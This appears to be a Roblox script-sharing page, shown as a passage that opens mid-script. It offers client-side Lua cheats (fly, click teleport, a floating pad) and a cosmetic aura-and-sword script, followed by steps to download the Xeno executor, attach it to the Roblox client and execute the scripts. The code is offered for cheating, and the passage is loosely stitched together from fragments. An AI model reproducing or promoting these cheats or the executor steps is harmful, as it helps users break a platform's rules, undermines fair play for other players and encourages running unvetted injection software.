ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
else
local plr = game.Players.LocalPlayer
local UpperTorso = plr.Character.UpperTorso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", UpperTorso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = UpperTorso.CFrame
local bv = Instance.new("BodyVelocity", UpperTorso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
end
end)
local tis
end
coroutine.wrap(SSWSNG_fake_script)()
local function GYRIVDI_fake_script() -- tp.LocalScript
local script = Instance.new('LocalScript', tp)
script.Parent.MouseButton1Click:Connect(function()
mouse = game.Players.LocalPlayer:GetMouse()
tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "Click Teleport"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end)
end
coroutine.wrap(GYRIVDI_fake_script)()
local function BCBQLZ_fake_script() -- floatingpad.LocalScript
local script = Instance.new('LocalScript', floatingpad)
script.Parent.MouseButton1Click:Connect(function()
local name = game.Players.LocalPlayer.Name
local p = Instance.new("Part")
p.Parent = workspace
p.Locked = true
p.Color = Color3.new(0.666667, 0, 0)
p.Size = Vector3.new(8, 1.2, 8)
p.Anchored = true
local m = Instance.new("CylinderMesh")
m.Scale = Vector3.new(1, 0.5, 1)
m.Parent = p
while true do
p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z)
wait()
end
end)
end
coroutine.wrap(BCBQLZ_fake_script)()
local function KXYQAXQ_fake_script() -- Frame.UIDrag
local script = Instance.new('LocalScript', Frame)
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end
coroutine.wrap(KXYQAXQ_fake_script)()
local function GEVXYR_fake_script() -- ScreenGui.notfication
local script = Instance.new('LocalScript', ScreenGui)
wait(2)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "now loaded lol";
Text = "By FishNoobAhh";
Icon = "";
Duration = 10;
Button1 = "yes sirrr";
})
end
coroutine.wrap(GEVXYR_fake_script)()
local function PYIQX_fake_script() -- ScreenGui.messageload
local script = Instance.new('LocalScript', ScreenGui)
if script.Parent.Enabled == true then
local m = Instance.new("Message", game.Workspace)
m.Text = "1x1x1x1 gui fe Loading..."
wait(2)
m:Destroy()
script:Destroy()
else
end
end
coroutine.wrap(PYIQX_fake_script)()1x1x1x1 Universal Script R6 V2
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local humanoid = character:WaitForChild("Humanoid")
-- green aura with flies
local function createMatrixAura()
for _, partName in {"HumanoidRootPart", "UpperTorso", "Torso"} do
local part = character:FindFirstChild(partName)
if part then
local aura = Instance.new("ParticleEmitter")
aura.Name = "MatrixAura"
aura.Color = ColorSequence.new(Color3.fromRGB(0, 255, 0))
aura.LightEmission = 0.8
aura.Size = NumberSequence.new({
NumberSequenceKeypoint.new(0, 2),
NumberSequenceKeypoint.new(1, 0.5)
})
aura.Texture = "rbxassetid://243660364"
aura.Transparency = NumberSequence.new({
NumberSequenceKeypoint.new(0, 0.1),
NumberSequenceKeypoint.new(1, 1)
})
aura.Rate = 180
aura.Lifetime = NumberRange.new(1, 2)
aura.Speed = NumberRange.new(1, 2)
aura.SpreadAngle = Vector2.new(60, 60)
aura.VelocitySpread = 40
aura.ZOffset = -1.2
aura.LockedToPart = true
aura.Parent = part
end
end
end
-- sword spawning
local function createSword()
local model = Instance.new("Model")
model.Name = "DarkheartSword"
local handle = Instance.new("Part")
handle.Name = "Handle"
handle.Size = Vector3.new(0.2, 3.5, 0.2)
handle.Material = Enum.Material.Neon
handle.BrickColor = BrickColor.new("Really black")
handle.CanCollide = false
local blade = Instance.new("Part")
blade.Size = Vector3.new(0.4, 2.5, 0.4)
blade.Material = Enum.Material.ForceField
blade.BrickColor = BrickColor.new("Really red")
blade.Transparency = 0.3
blade.CanCollide = false
blade.Position = handle.Position + Vector3.new(0, 1.5, 0)
local weld = Instance.new("WeldConstraint")
weld.Part0 = handle
weld.Part1 = blade
weld.Parent = handle
handle.Parent = model
blade.Parent = model
model.PrimaryPart = handle
return model
end
-- animation tool with swords
local animator = humanoid:WaitForChild("Animator")
local function createAnimationToolWithSwords(toolName, animationId)
local tool = Instance.new("Tool")
tool.Name = toolName
tool.RequiresHandle = false
tool.CanBeDropped = false
local equippedTrack = nil
local swordsFolder = nil
tool.Equipped:Connect(function()
-- Stop current animations
for _, track in pairs(animator:GetPlayingAnimationTracks()) do
track:Stop()
end
-- play animation
local anim = Instance.new("Animation")
anim.AnimationId = animationId
equippedTrack = humanoid:LoadAnimation(anim)
equippedTrack.Looped = true
equippedTrack:Play()
-- spawn swords
swordsFolder = Instance.new("Folder")
swordsFolder.Name = "EquippedSwords"
swordsFolder.Parent = character
local function attachSwordToWithFolder(part)
local sword = createSword()
sword:SetPrimaryPartCFrame(part.CFrame * CFrame.new(0, -1.5, 0.5) * CFrame.Angles(math.rad(90), 0, 0))
sword.Parent = swordsFolder
local weld = Instance.new("WeldConstraint")
weld.Part0 = part
weld.Part1 = sword.PrimaryPart
weld.Parent = sword.PrimaryPart
end
if humanoid.RigType == Enum.HumanoidRigType.R15 then
local rightHand = character:FindFirstChild("RightHand")
local leftHand = character:FindFirstChild("LeftHand")
if rightHand and leftHand then
attachSwordToWithFolder(rightHand)
attachSwordToWithFolder(leftHand)
end
else
local rightArm = character:FindFirstChild("Right Arm")
local leftArm = character:FindFirstChild("Left Arm")
if rightArm and leftArm then
attachSwordToWithFolder(rightArm)
attachSwordToWithFolder(leftArm)
end
end
end)
tool.Unequipped:Connect(function()
-- stop animation
if equippedTrack and equippedTrack.IsPlaying then
equippedTrack:Stop()
end
-- remove swords
if swordsFolder then
swordsFolder:Destroy()
swordsFolder = nil
end
end)
tool.Parent = player.Backpack
end
-- spawn aura
createMatrixAura()
-- spawn the two tools
createAnimationToolWithSwords("Slash", "rbxassetid://45913583")
createAnimationToolWithSwords("Mass Infection", "rbxassetid://48146273")
-- disable default animations
if character:FindFirstChild("t4t_animateR6") then
character.t4t_animateR6.Enabled = false
elseif character:FindFirstChild("Animate") then
character.Animate.Enabled = false
end
-- stop all current animations
for _, track in pairs(animator:GetPlayingAnimationTracks()) do
track:Stop()
end
-- movement animations
local jumpAnimation = Instance.new("Animation")
jumpAnimation.AnimationId = "rbxassetid://97170520"
local jumpTrack = humanoid:LoadAnimation(jumpAnimation)
jumpTrack.Looped = false
local walkAnimation = Instance.new("Animation")
walkAnimation.AnimationId = "rbxassetid://92576399"
local walkTrack = humanoid:LoadAnimation(walkAnimation)
walkTrack.Looped = true
local idleAnimation = Instance.new("Animation")
idleAnimation.AnimationId = "rbxassetid://73033590"
local idleTrack = humanoid:LoadAnimation(idleAnimation)
idleTrack.Looped = true
humanoid.StateChanged:Connect(function(_, newState)
if newState == Enum.HumanoidStateType.Jumping then
jumpTrack:Play()
jumpTrack:AdjustSpeed(1)
jumpTrack.TimePosition = 0.2
elseif newState == Enum.HumanoidStateType.Landed then
jumpTrack:Stop()
end
end)
game:GetService("RunService").RenderStepped:Connect(function()
local isMoving = humanoid.MoveDirection.Magnitude > 0
local isOnGround = humanoid.FloorMaterial ~= Enum.Material.Air
if isMoving and isOnGround then
if not walkTrack.IsPlaying then
walkTrack:Play()
end
if idleTrack.IsPlaying then
idleTrack:Stop()
end
else
if walkTrack.IsPlaying then
walkTrack:Stop()
end
if not idleTrack.IsPlaying and not jumpTrack.IsPlaying then
idleTrack:Play()
end
end
end)How to run the Roblox 1x1x1x1 Roblox Script?
To run the Xeno 1x1x1x1 Roblox script and use all these extra features, you need a Roblox script executor. Follow the steps below:
- First of all, go to xeno-executors.org and download latest version of Xeno on your Windows or laptop.
- Now extract the zip folder and open the exe file.
- Open the Roblox app on PC and sign in, then search for any Roblox game and hit the Play button.
- Click on Xeno and click the attach button that will link the executor with the Roblox client.
- Copy any keyless 1x1x1x1 Roblox scripts from the above list and paste them into Xeno.
- Click the Execute button and wait for the script to load.
- A script UI will load where you can enable any features.

